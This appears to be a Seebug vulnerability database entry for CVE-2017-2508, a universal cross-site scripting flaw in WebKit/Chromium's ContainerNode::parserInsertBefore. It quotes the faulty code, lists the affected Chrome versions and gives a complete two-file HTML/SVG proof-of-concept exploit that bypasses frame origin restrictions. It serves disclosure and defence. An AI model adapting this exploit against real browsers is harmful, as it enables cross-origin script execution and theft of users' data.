Lucene search

K
seebugRootSSV:97107
HistoryJan 29, 2018 - 12:00 a.m.

WebKit: UXSS via ContainerNode::parserInsertBefore(CVE-2017-2508)

2018-01-2900:00:00
Root
www.seebug.org
12

0.009 Low

EPSS

Percentile

80.6%

VULNERABILITY DETAILS

From /WebKit/Source/core/dom/ContainerNode.cpp:

void ContainerNode::parserInsertBefore(PassRefPtrWillBeRawPtr<Node> newChild, Node& nextChild)
{
(...)
    while (RefPtrWillBeRawPtr<ContainerNode> parent = newChild->parentNode())
        parent->parserRemoveChild(*newChild);

    if (document() != newChild->document())
        document().adoptNode(newChild.get(), ASSERT_NO_EXCEPTION);

    {
        EventDispatchForbiddenScope assertNoEventDispatch;
        ScriptForbiddenScope forbidScript;

        treeScope().adoptIfNeeded(*newChild);
        insertBeforeCommon(nextChild, *newChild);
        newChild->updateAncestorConnectedSubframeCountForInsertion();
        ChildListMutationScope(*this).childAdded(*newChild);
    }

    notifyNodeInserted(*newChild, ChildrenChangeSourceParser);
}

|parserRemoveChild| can run script, and it can remove |nextChild| from DOM or move the node around. When this happens, the tree will be in an inconsistent state after the |insertBeforeCommon| call, allowing an attacker to bypass the frame restrictions.

VERSION

  • Chrome 44.0.2403.130 (Stable)
  • Chrome 45.0.2454.26 (Beta)
  • Chrome 46.0.2471.2 (Dev)
  • Chromium 46.0.2480.0 (Release build compiled today)

                                                1.html
---------------------------
<body><iframe></iframe><table><b><p><iframe></iframe><script>
frames[1].onunload = function() {
  document.body.removeChild(document.querySelector('table'));
}

onunload = function() {
  // Clean up to fix some crashes during reload.
  while (document.childNodes.length) {
    document.removeChild(document.childNodes[0]);
  }
}

onload = function() {
  try{ frames[0].a }catch(e){ location.reload() };
  xof = frames[0].frameElement;
  xof.onload = function() {
    xof.onload = null;
    xof.src = 'javascript:alert(document.location)';
    var xmlErr = document.documentElement.appendChild(document.createElement('iframe'));
    xmlErr.src = '1.svg';
  }
  xof.src = 'data:text/html,crossOrigin';
}
</script></b></p></table></body>
---------------------------

1.svg
----------------------------
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(document.createElementNS('http://www.w3.org/1999/xhtml', 'iframe'));

var b = top.xof.parentNode;
if (t = b.childNodes[1]) {
  // It appears that something is holding the table element alive
  // because the node destructor didn't run and its siblings' refs
  // to it weren't cleared, so it's still reachable during node 
  // traversals. That'd crash when insertedInto notifications try to 
  // use the node's parentOrShadowHostNode(), so make sure it has
  // a parent, and use a spare document to avoid traversal loops.
  top.frames[1].document.body.appendChild(t);
}

frames[0].onunload = function() {
  document.documentElement.appendChild(b);
  b.insertBefore(document.createElement('x'), top.xof);
}
</script>
<element a="1" a="2" />
</svg>
---------------------------
                              

0.009 Low

EPSS

Percentile

80.6%